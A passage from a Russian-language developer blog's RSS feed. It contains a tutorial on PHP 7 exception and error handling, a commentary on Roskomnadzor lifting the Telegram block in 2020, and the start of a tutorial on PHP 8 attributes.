расширение класса Exception. Кроме того, он обеспечивает единую точку для отлова обоих типов ошибок в одном выражении:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

try {
// ваш код
} catch (Throwable $e) {
   echo 'Очень хороший способ отловить исключения и ошибки';
}</code></pre><p>Список доступных встроенных классов исключений начиная с PHP 7.4:</p><ul><li><a href="https://www.php.net/manual/en/class.exception.php" target="_blank">Exception</a></li><li><a href="https://www.php.net/manual/en/class.errorexception.php" target="_blank">ErrorException</a></li><li><a href="https://www.php.net/manual/en/class.error.php" target="_blank">Error</a></li><li><a href="https://www.php.net/manual/en/class.argumentcounterror.php" target="_blank">ArgumentCountError</a></li><li><a href="https://www.php.net/manual/en/class.arithmeticerror.php" target="_blank">ArithmeticError</a></li><li><a href="https://www.php.net/manual/en/class.assertionerror.php" target="_blank">AssertionError</a></li><li><a href="https://www.php.net/manual/en/class.divisionbyzeroerror.php" target="_blank">DivisionByZeroError</a></li><li><a href="https://www.php.net/manual/en/class.compileerror.php" target="_blank">CompileError</a></li><li><a href="https://www.php.net/manual/en/class.parseerror.php" target="_blank">ParseError</a></li><li><a href="https://www.php.net/manual/en/class.typeerror.php" target="_blank">TypeError</a></li></ul><p>Дополнительные классы исключений можно найти в <a href="https://www.php.net/manual/en/spl.exceptions.php" target="_blank">стандартной библиотеке PHP</a> . И наиболее заметным из расширений JSON является класс <a href="https://www.php.net/manual/en/class.jsonexception.php" target="_blank">JsonException</a>.</p><h2>THROWABLE</h2><p><span style="font-size: 1rem;">Интерфейс&nbsp;</span>Throwable&nbsp; PHP 7:</p><p><br></p><pre class="line-numbers"><code class="language-php">interface Throwable
{
    public function getMessage(): string;       // Error reason
    public function getCode(): int;             // Error code
    public function getFile(): string;          // Error begin file
    public function getLine(): int;             // Error begin line
    public function getTrace(): array;          // Return stack trace as array like debug_backtrace()
    public function getTraceAsString(): string; // Return stack trace as string
    public function getPrevious(): Throwable;   // Return previous `Trowable`
    public function __toString(): string;       // Convert into string
}</code></pre><p>Вот&nbsp;<span style="font-size: 1rem;">иерархия&nbsp;</span>Throwable:</p><p><br></p><pre class="line-numbers"><code class="language-php">interface Throwable
  |- Error implements Throwable
      |- ArithmeticError extends Error
          |- DivisionByZeroError extends ArithmeticError
      |- AssertionError extends Error
      |- ParseError extends Error
      |- TypeError extends Error
          |- ArgumentCountError extends TypeError
  |- Exception implements Throwable
      |- ClosedGeneratorException extends Exception
      |- DOMException extends Exception
      |- ErrorException extends Exception
      |- IntlException extends Exception
      |- LogicException extends Exception
          |- BadFunctionCallException extends LogicException
              |- BadMethodCallException extends BadFunctionCallException
          |- DomainException extends LogicException
          |- InvalidArgumentException extends LogicException
          |- LengthException extends LogicException
          |- OutOfRangeException extends LogicException
      |- PharException extends Exception
      |- ReflectionException extends Exception
      |- RuntimeException extends Exception
          |- OutOfBoundsException extends RuntimeException
          |- OverflowException extends RuntimeException
          |- PDOException extends RuntimeException
          |- RangeException extends RuntimeException
          |- UnderflowException extends RuntimeException
          |- UnexpectedValueException extends RuntimeException</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Ошибка, почему?</span><br></p><p>В предыдущих версиях PHP ошибки обрабатывались совершенно иначе, чем исключения. Если возникала ошибка, то пока она не была фатальной, она могла быть обработана пользовательской функцией.</p><p>Проблема заключалась в том, что было несколько фатальных ошибок, которые не могли быть обработаны определяемым пользователем обработчиком ошибок. Это означало, что вы не могли корректно обрабатывать фатальные ошибки в PHP. Было несколько побочных эффектов, которые были проблематичными, такие как потеря контекста времени выполнения, деструкторы не вызывались, да и вообще иметь дело с ними было неудобно. В PHP 7 фатальные ошибки теперь являются исключениями, и мы можем легко их обработать. Фатальные ошибки приводят к возникновению исключений. Вам необходимо обрабатывать нефатальные ошибки с помощью функции обработки ошибок.<br></p><p>Вот пример ловли фатальной ошибки в PHP 7.1. Обратите внимание, что нефатальная ошибка не обнаружена.</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php 

try {
   // будет генерировать уведомление, которое не будет поймано
   echo $someNotSetVariable;
   // фатальная ошибка, которая сейчас на самом деле ловится
   someNoneExistentFunction();
} catch (Error $e) {
      echo "Error caught: " . $e-&gt;getMessage();
}</code></pre><p>Этот скрипт выведет сообщение об ошибке при попытке доступа к недопустимой переменной. Попытка вызвать функцию, которая не существует, приведет к фатальной ошибке в более ранних версиях PHP, но в PHP 7.1 вы можете ее перехватить. Вот вывод для скрипта:</p><p><br></p><pre class="line-numbers"><code class="language-php">Notice: Undefined variable: someNotSetVariable on line 3
Error caught: Call to undefined function someNoneExistentFunction()</code></pre><h3>Константы ошибок</h3><p>В PHP много констант, которые используются в отношении ошибок. Эти константы используются при настройке PHP для скрытия или отображения ошибок определенных классов.</p><p>Вот некоторые из наиболее часто встречающихся кодов ошибок:</p><ul><li>E_DEPRECATED - интерпретатор сгенерирует этот тип предупреждений, если вы используете устаревшую языковую функцию. Сценарий обязательно продолжит работать без ошибок.</li><li>E_STRICT - аналогично E_DEPRECATED, - указывает на то, что вы используете языковую функцию, которая не является стандартной в настоящее время и может не работать в будущем. Сценарий будет продолжать работать без каких-либо ошибок.</li><li>E_PARSE - ваш синтаксис не может быть проанализирован, поэтому ваш скрипт не запустится. Выполнение скрипта даже не запустится.</li><li>E_NOTICE - движок просто выведет информационное сообщение. Выполнение скрипта не прервется, и ни одна из ошибок не будет выдана.</li><li>E_ERROR - скрипт не может продолжить работу, и завершится. Выдает ошибки, а как они будут обрабатываться, зависит от обработчика ошибок.</li><li>E_RECOVERABLE_ERROR - указывает на то, что, возможно, произошла опасная ошибка, и движок работает в нестабильном состоянии. Дальнейшее выполнение зависит от обработчика ошибок, и ошибка обязательно будет выдана.</li></ul><p>Полный список констант можно найти в <a href="https://www.php.net/manual/en/errorfunc.constants.php" target="_blank">руководстве по PHP</a>.</p><h3>Функция обработчика ошибок</h3><p>Функция set_error_handler() используется, чтобы сообщить PHP как обрабатывать стандартные ошибки, которые не являются экземплярами класса исключений Error. Вы не можете использовать функцию обработчика ошибок для фатальных ошибок. Исключения ошибок должны обрабатываться с помощью операторов try/catch. set_error_handler() принимает callback функцию в качестве своего параметра. Callback-функции в PHP могут быть заданы двумя способами: либо строкой, обозначающей имя функции, либо передачей массива, который содержит объект и имя метода (именно в этом порядке). Вы можете указать защищенные и приватные методы для callable в объекте. Вы также можете передать значение null, чтобы указать PHP вернуться к использованию стандартного механизма обработки ошибок. Если ваш обработчик ошибок не завершает программу и возвращает результат, ваш сценарий будет продолжать выполняться со строки, следующей за той, где произошла ошибка.</p><p>PHP передает параметры в вашу функцию обработчика ошибок. Вы можете опционально объявить их в сигнатуре функции, если хотите использовать их в своей функции.<br></p><p>Вот пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

function myCustomErrorHandler(int $errNo, string $errMsg, string $file, int $line) {
echo "Ух ты, мой обработчик ошибок получил #[$errNo] в [$file] на [$line]: [$errMsg]";
}

set_error_handler('myCustomErrorHandler');

try {
   why;
} catch (Throwable $e) {
   echo 'И моя ошибка: ' . $e-&gt;getMessage();
}</code></pre><p>Если вы запустите этот код в PHP-консоли php -a, вы должны получить похожий вывод:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Error #[2] occurred in [php shell code] at line [3]: [Use of undefined constant why - assumed 'why' (this will throw an Error in a future version of PHP)]</code></pre><p>Самые известные PHP библиотеки , которые делают обширное использование РНР set_error_handler() и могут сделать хорошие представления исключений и ошибок являются <a href="https://github.com/filp/whoops" target="_blank">whoops</a>,&nbsp; и&nbsp;<a href="https://github.com/symfony/debug" target="_blank">Symony Debug</a>,&nbsp;<a href="https://github.com/symfony/error-handler" target="_blank">ErrorHandler</a> компоненты. Я смело рекомендую использовать один из них. Если не собираетесь их использовать в своем проекте, то вы всегда можете черпать вдохновение из их кода. В то время как компонент Debug широко используется в экосистеме Symfony, Whoops остается библиотекой выбора для фреймворка&nbsp;<a href="https://laravel.com/" target="_blank">Laravel</a> .&nbsp;</p><p>Для подробного и расширенного использования, пожалуйста, обратитесь к руководству по PHP для <a href="https://www.php.net/manual/en/function.set-error-handler.php" target="_blank">обработчика ошибок</a>.</p><h3>Отображение или подавление нефатальной ошибки</h3><p>Когда ваше приложение выходит в продакшн, логично, что вы хотите скрыть все системные сообщения об ошибках во время работы, и ваш код должен работать без генерации предупреждений или сообщений. Если вы собираетесь показать сообщение об ошибке, убедитесь, что оно сгенерировано и не содержит информации, которая может помочь злоумышленнику проникнуть в вашу систему.</p><p>В вашей среде разработки вы хотите, чтобы все ошибки отображались, чтобы вы могли исправить все проблемы, с которыми они связаны, но в процессе работы вы хотите подавить любые системные сообщения, отправляемые пользователю.<br></p><p>Для этого вам нужно настроить PHP, используя следующие параметры в вашем файле php.ini:</p><ul><li>display_errors – может быть установлен в false для подавления сообщений</li><li>log_errors – может использоваться для хранения сообщений об ошибках в файлах журнала</li><li>error_reporting – можно настроить, какие ошибки вызывают отчет</li></ul><p>Лучше всего корректно обрабатывать ошибки в вашем приложении. В производственном процессе вы должны скорее регистрировать необработанные ошибки, чем разрешать их отображение пользователю. Функция error_log() может использоваться для отправки сообщения одной из определенных процедур обработки ошибок. Вы также можете использовать функцию error_log() для отправки электронных писем, но лично вы бы предпочли использовать хорошее решение для регистрации ошибок и получения уведомлений при возникновении ошибок, например&nbsp;<a href="https://sentry.io/welcome/" target="_blank">Sentry</a> или <a href="https://rollbar.com/" target="_blank">Rollbar</a> .</p><p>Существует вещь, называемая оператором контроля ошибок ( @ ), который по своей сути может игнорировать и подавлять ошибки. Использование очень простое - просто добавьте любое выражение PHP с символом "собаки", и сгенерированная ошибка будет проигнорирована. Хотя использование этого оператора может показаться интересным, я призываю вас не делать этого. Мне нравится называть это живым пережитком прошлого.</p><p>Больше информации для всех функций, связанных с ошибками PHP, можно найти <a href="https://www.php.net/manual/en/ref.errorfunc.php" target="_blank">в руководстве</a>.</p><h3>Исключения (Exceptions)</h3><p>Исключения являются основной частью объектно-ориентированного программирования и впервые были представлены в PHP 5.0. Исключением является состояние программы, которое требует специальной обработки, поскольку оно не выполняется ожидаемым образом. Вы можете использовать исключение, чтобы изменить поток вашей программы, например, чтобы прекратить что-либо делать, если некоторые предварительные условия не выполняются.</p><p>Исключение будет возникать в стеке вызовов, если вы его не перехватите. Давайте посмотрим на простой пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">try {
   print "это наш блок попыток n";
   throw new Exception();
} catch (Exception $e) {
   print "что-то пошло не так, есть улов!";
} finally {
   print "эта часть всегда выполняется";
}</code></pre><p>PHP включает в себя несколько стандартных типов исключений, а стандартная библиотека PHP (SPL) включает в себя еще несколько. Хотя вам не нужно использовать эти исключения, это означает, что вы можете использовать более детальное обнаружение ошибок и отчеты. Классы Exception и Error реализуют интерфейс Throwable и, как и любые другие классы, могут быть расширены. Это позволяет вам создавать гибкие иерархии ошибок и адаптировать обработку исключений. Только класс, который реализует класс Throwable, может использоваться с ключевым словом throw. Другими словами, вы не можете объявить свой собственный базовый класс и затем выбросить его как исключение.</p><p>Надежный код может встретить ошибку и справиться с ней. Разумная обработка исключений повышает безопасность вашего приложения и облегчает ведение журнала и отладку. Управление ошибками в вашем приложении также позволит вам предложить своим пользователям лучший опыт. В этом разделе мы рассмотрим, как отлавливать и обрабатывать ошибки, возникающие в вашем коде.</p><h3>Ловля исключений</h3><p>Вы должны использовать try/catch структуру:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class MyCustomException extends Exception { }

function throwMyCustomException() {
      throw new MyCustomException('Здесь что-то не так.');
}

try {
   throwMyCustomException();
} catch (MyCustomException $e) {
   echo "Ваше пользовательское исключение поймано";
   echo $e-&gt;getMessage();
} catch (Exception $e) {
   echo "Стандартное исключение PHP";
}</code></pre><p>Как видите, есть два предложения catch. Исключения будут сопоставляться с предложениями сверху вниз, пока тип исключения не будет соответствовать предложению catch. Эта очень простая функция throwMyCustomException() генерирует исключение MyCustomException, и мы ожидаем, что оно будет перехвачено в первом блоке. Любые другие исключения, которые произойдут, будут перехвачены вторым блоком. Здесь мы вызываем метод getMessage() из базового класса Exception. Вы можете найти больше информации о дополнительном методе в <a href="https://www.php.net/manual/en/class.exception.php" target="_blank">Exception</a> PHP docs.</p><p>Кроме того, можно указать несколько исключений, разделяя их трубой ( | ).<br></p><p>Давайте посмотрим на другой пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class MyCustomException extends Exception { }
class MyAnotherCustomException extends Exception { }

try {
   throw new MyAnotherCustomException;
} catch (MyCustomException | MyAnotherCustomException $e) {
   echo "Caught : " . get_class($e);
}</code></pre><p>Этот очень простой блок catch будет перехватывать исключения типа MyCustomException и MyAnotherCustomException.</p><p>Немного более продвинутый сценарий:</p><p><br></p><pre class="line-numbers"><code class="language-php">// exceptions.php
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;

try {
   throw new NotFoundHttpException();
} catch (\Exception $e) { 
   echo 1;
} catch (NotFoundHttpException $e) { 
   echo 2;
} catch (\Exception $e) { 
   echo 3;
} finally { 
   echo 4;
}</code></pre><h3>Это ваш окончательный ответ?</h3><p>В PHP 5.5 и более поздних, блок finally также может быть указан после или вместо блоков catch. Код внутри блока finally всегда будет выполняться после блоков try и catch независимо от того, было ли выброшено исключение, и до возобновления нормального выполнения. Одним из распространенных применений блока finally является закрытие соединения с базой данных, но, наконец, его можно использовать везде, где вы хотите, чтобы код всегда выполнялся.</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class MyCustomException extends Exception { }

function throwMyCustomException() {
   throw new MyCustomException('Здесь что-то не так');
}

try {
   throwMyCustomException();
} catch (MyCustomException $e) {
   echo "Ваше пользовательское исключение поймано ";
   echo $e-&gt;getMessage();
} catch (Exception $e) {
   echo "Стандартное исключение PHP";
} finally {
  echo "Я всегда тут";
}</code></pre><p>Вот хороший пример того, как работают операторы PHP catch/finally:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

try {
   try {
      echo 'a-';
      throw new exception();
      echo 'b-';
   } catch (Exception $e) {
      echo 'пойманный-';
      throw $e;
   } finally {
      echo 'завершенный-';
   }
} catch (Exception $e) {
   echo 'конец-';
}</code></pre><h3>Функция обработчика исключений</h3><p>Любое исключение, которое не было обнаружено, приводит к фатальной ошибке. Если вы хотите изящно реагировать на исключения, которые не перехватываются в блоках перехвата, вам нужно установить функцию в качестве обработчика исключений по умолчанию.</p><p>Для этого вы используете функцию set_exception_handler() , которая принимает вызываемый элемент в качестве параметра. Ваш сценарий завершится после того, как вызов будет выполнен.<br></p><p>Функция restore_exception_handler() вернет обработчик исключений к его предыдущему значению.</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class MyCustomException extends Exception { }

function exception_handler($exception) {
   echo "Uncaught exception: " , $exception-&gt;getMessage(), "\n";
}

set_exception_handler('exception_handler');

try {
   throw new Exception('Uncaught Exception');
} catch (MyCustomException $e) {
   echo "Ваше пользовательское исключение поймано ";
   echo $e-&gt;getMessage();
} finally {
   echo "Я всегда тут";
}

print "Не выполнено";</code></pre><p>Здесь простая функция exception_handler будет выполняться после блока finally, когда ни один из типов исключений не был сопоставлен. Последний вывод никогда не будет выполнен.</p><p>Для получения дополнительной информации обратитесь к <a href="https://www.php.net/manual/en/function.set-exception-handler.php" target="_blank">документации PHP</a>.&nbsp;</p><h3>Старый добрый "T_PAAMAYIM_NEKUDOTAYIM"</h3><p>Вероятно, это было самое известное сообщение об ошибке PHP. В последние годы было много споров по этому поводу. Вы можете прочитать больше в отличном сообщении в блоге от Фила Осетра .&nbsp;&nbsp;</p><p>Сегодня я с гордостью могу сказать, что если вы запустите этот код с PHP 7, то сообщение о T_PAAMAYIM_NEKUDOTAYIM больше не будет:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class foo
{
   static $bar = 'baz';
}

var_dump('foo'::$bar);

// Output PHP &lt; 7.0:
// PHP Parse error: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM) in php shell code on line 1
// Output PHP &gt; 7.0:
// string(3) "baz"
?&gt;</code></pre><h3>В заключении</h3><p>Со времени первого внедрения обработки исключений в PHP прошло много лет, пока мы не получили гораздо более надежную и зрелую обработку исключений, чем в Java. Обработка ошибок в PHP 7 получила много внимания, что делает его хорошим, открывая пространство для будущих улучшений, если мы действительно с сегодняшней точки зрения нуждаемся в них.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/32</guid>
                <pubDate>2020-07-31T08:40:47+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Телеграм разблокировали]]></title>
                <link>https://sergeymukhin.com/blog/telegram-razblokirovali</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Телеграм разблокировали</h1><blockquote>18 июня 2020г. случилось знаковое событие, как минимум событие года, РКН все таки пошли на мировую с Павлом Дуровым</blockquote><p>Всю ситуацию с блокировкой Телеграма хорошо описал "Неугомонный Фила", с самого начала взявший под контроль все, что было с этим связано. Процитирую его мысли: </p><p>2 года 2 месяца и 2 дня длились мероприятия по блокировки мессенджера Telegram. 16 апреля 2018 года в 11 утра по Москве Роскомнадзор начал блокировку Telegram. В пике в блокировке было 17,974,623 (по данным канала&nbsp;<a href="https://t.me/usher2" target="_blank">https://t.me/usher2</a>) IP-адресов днем 28 апреля 2018 года. За исключением одного часа 17 апреля 2018, когда было примерно 18 млн. 18 июня 2020 года в 13:52 по Москве Роскомнадзор сделал заявление о разблокировке Telegram, а в 16 часов по Москве были разблокированы все ресурсы Telegram.</p><p><a href="https://rkn.gov.ru/news/rsoc/news73050.htm" target="_blank">https://rkn.gov.ru/news/rsoc/news73050.htm</a><br></p><p>Что интересное в процессе блокировок мы узнали, что можно взять и заблокировать миллионы IP-адресов и никому ничего за это не будет, что можно заблокировать Google&nbsp; <a href="https://usher2.club/articles/google-ban/" target="_blank">https://usher2.club/articles/google-ban/</a> и это не вызовет бунт, что можно лгать со страниц СМИ и никто не понесет ответственности, можно не признавать значимость проблемы, несмотря на <a href="https://usher2.club/articles/open-letter-darkk-net/" target="_blank">https://usher2.club/articles/open-letter-darkk-net/</a> , можно блокировать не по закону <a href="https://usher2.club/articles/mt-free-pre-block/" target="_blank">https://usher2.club/articles/mt-free-pre-block/</a> и никого этим не удивишь, а можно очень смешно пошутить <a href="https://usher2.club/articles/msg-digitalresistance/" target="_blank">https://usher2.club/articles/msg-digitalresistance/</a>. И конечно мы впервые увидели, как события в интернете вывели людей на улицы.</p><p>В результате&nbsp; блокируют Telegram, а лежит облачный сервис Amazon, частично Google, заблокирована треть DigitalOcean, часть Hetzner. Всех колбасит. Ничего не работает кроме, собственно, Telegram. Пострадали десятки тысяч неповинных ресурсов. Тысячи из них были вынуждены тратить огромные средства на переносы данных и мониторинг блокировок. История Рунета разделилась на «до» и «после» блокировки.</p><p>Интернет-сообщество показало удивительную сплоченность и выносливость. Как показатель — «Всероссийский хакатон» по написанию альтернативных MTProxy-серверов&nbsp; можно посмотреть на сайте в подвале <a href="https://usher2.club" target="_blank">https://usher2.club</a>)</p><p>В чем причина такого резкого хода Роскомнадзора? Он не был резким. Слухи ходили с февраля. Основная причина, видится в том, что с силовиками сотрудничающий даже без ключей сервис лучше, чем полностью игнорирующий. Работать силовикам иногда приходится и не на цирковой арене, а путь понтов и обидок за пределами цирка не очень эффективен. На третий год заморозки ушей на зло бабушке уши начали побаливать. Другая причина кроется и в новом руководителе Роскомнадзора. Не пытаясь его идеализировать его, Андрей Липов все же самый близкий к реалиям Рунета человек из всех руководителей органов власти, контролирующих и/или регулирующих интернет. Он может быть абсолютным злодеем, но скорее всего борьба с субъектами отрасли, которую последовательно вел его предшественник, будет ослабевать. Деятельность будет смещена в идеологическую область и в технологии обеспечения идеологии Устойчивый Рунет.</p><p>Роскомнадзор разблокировал Telegram по соласованию с Генеральной прокуратурой РФ. А как же суд РФ? Да как-то&nbsp; так: <a href="https://www.interfax.ru/russia/713761" target="_blank">https://www.interfax.ru/russia/713761</a> «в данном случае Роскомнадзор может самостоятельно принимать решение о полном или частичном исполнении решения суда». Все органы власти действуют в соответствии с законами и регламентами. Не все решения суда исполнимы (погуглите — есть такое понятие). Решение суда по блокировке Telegram в тех формулировках некому было исполнить. Роскомнадзор занимался самодеятельностью. По согласованию с Генеральной прокуратурой. Это моя изначальная позиция. Забавно, что они разыграли эту карту. Конечно же, в таком виде, это жонглирование правом. «Я вся такая внезапная» ©<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/33</guid>
                <pubDate>2020-06-19T09:45:17+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Атрибуты в PHP]]></title>
                <link>https://sergeymukhin.com/blog/atributy-v-php-8</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Атрибуты в PHP</h1><blockquote>В PHP 8 мы сможем использовать атрибуты.</blockquote><p>Подобные концепции существуют в других языках, которые называются аннотации, или декораторы в Python, Javascript. Цель этих атрибутов заключается в добавлении структурированных, синтаксических метаданных классам, методам, переменным. Концепция атрибутов совсем не нова, мы уже давно используем докблоки для моделирования их поведения. Однако с добавлением атрибутов у нас появляется возможность&nbsp; определять директивы конфигурации, непосредственно внедренные с объявлением этого кода.<br></p><h2>Введение</h2><p>Для начала, вот как атрибут будет выглядеть в коде:</p><p><br></p><pre class="line-numbers"><code class="language-php">use \Support\Attributes\ListensTo;

class ProductSubscriber
{
    #[ListensTo(ProductCreated::class)]
    public function onProductCreated(ProductCreated $event) { /* … */ }

    #[ListensTo(ProductDeleted::class)]
    public function onProductDeleted(ProductDeleted $event) { /* … */ }
}</code></pre><p>Я думаю, что events subscriber - хороший пример, чтобы объяснить использование атрибутов.&nbsp;&nbsp;</p><p>Кроме того, да, я знаю, синтаксис может быть не таким, как мы этого хотели или надеялись. Возможно, лучше всего было использовать @, или @:, или докблоки, как вариант ... Но атрибуты завершены, они с нами останутся такими, поэтому придется справляться с ними в таком виде. Единственное, что стоит упомянуть о синтаксисе, - это то, что все варианты были обсуждены, и есть очень веские причины, по которым&nbsp;<span style="font-size: 1rem;">был выбран именно&nbsp;</span>этот синтаксис. Вы можете прочитать краткое резюме об этом <a href="https://wiki.php.net/rfc/attributes_v2#alternative_syntaxwhy_not_use_or_like_other_languages" target="_blank">в RFC</a>, или прочитать всю дискуссию о RFC в <a href="https://externals.io/message/108907" target="_blank">internals list</a>.</p><p>Прежде всего, пользовательские атрибуты - это простые классы, аннотируемые самим&nbsp;<span style="font-size: 1rem;">атрибутом</span>&nbsp;#[Attribute].&nbsp; Изначально предлагалось заключать в &lt;&lt;&gt;&gt;, в исходном RFC, но впоследствии была изменена <a href="https://wiki.php.net/rfc/attribute_amendments" target="_blank">другим RFC</a>.</p><p>Вот как это будет выглядеть:</p><p><br></p><pre class="line-numbers"><code class="language-php">#[Attribute]
class ListensTo
{
    public string $event;

    public function __construct(string $event)
    {
        $this-&gt;event = $event;
    }
}</code></pre><p>Вот и все - довольно просто, верно? Имейте в виду атрибуты предназначены только для добавления метаданных к классам и методам, не более того. Они не должны и не могут использоваться, например, для проверки ввода аргументов. Другими словами: у вас не будет доступа к параметрам, переданным методу в его атрибутах.</p><p>Был RFC, который позволял такое поведение, но этот RFC определенно сделал подход к атрибутам более простыми.<br></p><p>Вернемся к нашему примеру подписчика: нам все еще нужно прочитать метаданные и зарегистрировать наших подписчиков где-нибудь. Исходя из опыта Laravel, я бы использовал service provider для этого, но не стесняйтесь придумывать другие решения.<br></p><p>Вот скучная шаблонная настройка, просто чтобы обеспечить небольшой контекст:</p><p><br></p><pre class="line-numbers"><code class="language-php">class EventServiceProvider extends ServiceProvider
{
    // In real life scenarios,
    //  we'd automatically resolve and cache all subscribers
    //  instead of using a manual array.
    private array $subscribers = [
        ProductSubscriber::class,
    ];

    public function register(): void
    {
        // The event dispatcher is resolved from the container
        $eventDispatcher = $this-&gt;app-&gt;make(EventDispatcher::class);

        foreach ($this-&gt;subscribers as $subscriber) {
            // We'll resolve all listeners registered
            //  in the subscriber class,
            //  and add them to the dispatcher.
            foreach (
                $this-&gt;resolveListeners($subscriber)
                as [$event, $listener]
            ) {
                $eventDispatcher-&gt;listen($event, $listener);
            }
        }
    }
}</code></pre><p>Обратите внимание, что [$event, $listener] это просто <a href="https://sergeymukhin.com/blog/destrukturizatsiya-massiva-v-php" target="_blank">деструктуризация массива</a>. Теперь давайте поближе посмотрим resolveListeners, где и происходит волшебство:</p><p><br></p><pre class="line-numbers"><code class="language-php">private function resolveListeners(string $subscriberClass): array
{
    $reflectionClass = new ReflectionClass($subscriberClass);

    $listeners = [];

    foreach ($reflectionClass-&gt;getMethods() as $method) {
        $attributes = $method-&gt;getAttributes(ListensTo::class);

        foreach ($attributes as $attribute) {
            $listener = $attribute-&gt;newInstance();

            $listeners[] = [
                // The event that's configured on the attribute
                $listener-&gt;event,

                // The listener for this event
                [$subscriberClass, $method-&gt;getName()],
            ];
        }
    }

    return $listeners;
}</code></pre><p>Вы можете видеть, что мета-данные теперь проще читать по сравнению с анализом докблока. Есть две тонкости, которые стоит рассмотреть.</p><p>Сначала производится вызов $attribute-&gt;newInstance(). Здесь создается наш класс пользовательских атрибутов. Он будет принимать параметры, перечисленные в определении атрибута в нашем классе подписчика, и передавать их конструктору.<br></p><p>Конечно технически, вам даже не нужно создавать пользовательский атрибут. Вы можете вызвать $attribute-&gt;getArguments() напрямую. Тем не менее, вам все равно нужен пользовательский класс, иначе возникнет ошибка. Более того, создание экземпляра класса означает, что вы получаете гибкость конструктора для ввода разбора любым удобным для вас способом. В целом я бы сказал, что было бы хорошо всегда создавать экземпляр атрибута с помощью newInstance().<br></p><p>Второе, что стоит упомянуть, это использование&nbsp;<span style="font-size: 1rem;">функции</span>&nbsp;ReflectionMethod::getAttributes(), которая возвращает все атрибуты для метода. Вы можете передать ему два аргумента, чтобы отфильтровать его вывод.</p><p>Чтобы понять эту фильтрацию, нужно еще кое-что узнать об атрибутах. Возможно, это было очевидно для вас, но я все равно хотел бы упомянуть об этом: возможно добавить несколько атрибутов к одному и тому же методу, классу, свойству или константе.<br></p><p>Вы могли бы, например, сделать это:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">#[
&nbsp;&nbsp;&nbsp;&nbsp;Route(Http::POST(), '/products/create')
&nbsp;&nbsp;&nbsp;&nbsp;Autowire
]
class ProductsCreateController
{
    public function __invoke() { /* … */ }
}</code></pre><p><br></p><p>Имея это в виду, понятно, почему от Reflection*::getAttributes() возвращается массив, поэтому давайте посмотрим, как его выходные данные могут быть отфильтрованы.</p><p>Допустим, вы анализируете маршруты контроллера, вас интересует только Route атрибут. Вы можете легко передать этот класс в качестве фильтра:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">$attributes = $reflectionClass-&gt;getAttributes(Route::class);</code></pre><p>Второй параметр изменяет способ фильтрации. Вы можете передать ReflectionAttribute::IS_INSTANCEOF, что вернет все атрибуты, реализующие данный интерфейс.</p><p>Например, если вы анализируете определения контейнеров, основанные на нескольких атрибутах, вы можете сделать что-то вроде этого:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">$attributes = $reflectionClass-&gt;getAttributes(
    ContainerAttribute::class,
    ReflectionAttribute::IS_INSTANCEOF
);</code></pre><h2>Техническая теория&nbsp;</h2><p>Теперь, когда у вас есть представление о том, как атрибуты работают на практике, пришло время еще немного теории, чтобы убедиться, что вы понимаете их полностью. Как я уже&nbsp; упомянул, атрибуты могут быть добавлены в разные места.</p><p>В классы, и анонимные классы;<br></p><p><br></p><pre class="line-numbers"><code class="language-php">#[ClassAttribute]
class MyClass { /* … */ }

$object = new #[ObjectAttribute] class () { /* … */ };</code></pre><p>Свойства и константы;</p><p><br></p><pre class="line-numbers"><code class="language-php">#[PropertyAttribute]
public int $foo;

#[ConstAttribute]
public const BAR = 1;</code></pre><p>Методы и функции;</p><p><br></p><pre class="line-numbers"><code class="language-php">#[MethodAttribute]
public function doSomething(): void { /* … */ }

#[FunctionAttribute]
function foo() { /* … */ }</code></pre><p>Замыкания;</p><p><br></p><pre class="line-numbers"><code class="language-php">$closure = #[ClosureAttribute] fn() =&gt; /* … */;</code></pre><p>И параметры метода и функции;</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(#[ArgumentAttribute] $bar) { /* … */ }</code></pre><p>Они могут быть объявлены до или после докблока;</p><p><br></p><pre class="line-numbers"><code class="language-php">/** @return void */
#[MethodAttribute]
public function doSomething(): void { /* … */ }</code></pre><p>И могут&nbsp;принимать no одному или несколько аргументов, которые определены конструктором атрибута:</p><p><br></p><pre class="line-numbers"><code class="language-php">#[Listens(ProductCreatedEvent::class)]
#[Autowire]
#[Route(Http::get(), '/products/create')]</code></pre><p>&nbsp;Что касается разрешенных параметров, которые вы можете передать атрибуту, вы уже видели, что&nbsp;<span style="font-size: 1rem;">разрешены</span>&nbsp;константы классов, ::class имена и скалярные типы. еще можно уточнить то, что атрибуты принимают только постоянные выражения в качестве входных аргументов.</p><p>Это означает, что разрешены скалярные выражения - даже битовые сдвиги - а также ::class&nbsp;<span style="font-size: 1rem;">константы</span>, распаковки массива и массивов, логические выражения и нуллевой оператор объединения. Список всего, что разрешено в качестве константного выражения, можно найти в <a href="https://github.com/php/php-src/blob/9122638ecd7dfee1cbd141a15a8d59bfc47f6ab3/Zend/zend_compile.c#L8500-L8514" target="_blank">исходном коде</a>.</p><p><br></p><pre class="line-numbers"><code class="language-php">#[AttributeWithScalarExpression(1+1)]
#[AttributeWithClassNameAndConstants(PDO::class, PHP_VERSION_ID)]
#[AttributeWithClassConstant(Http::POST)]
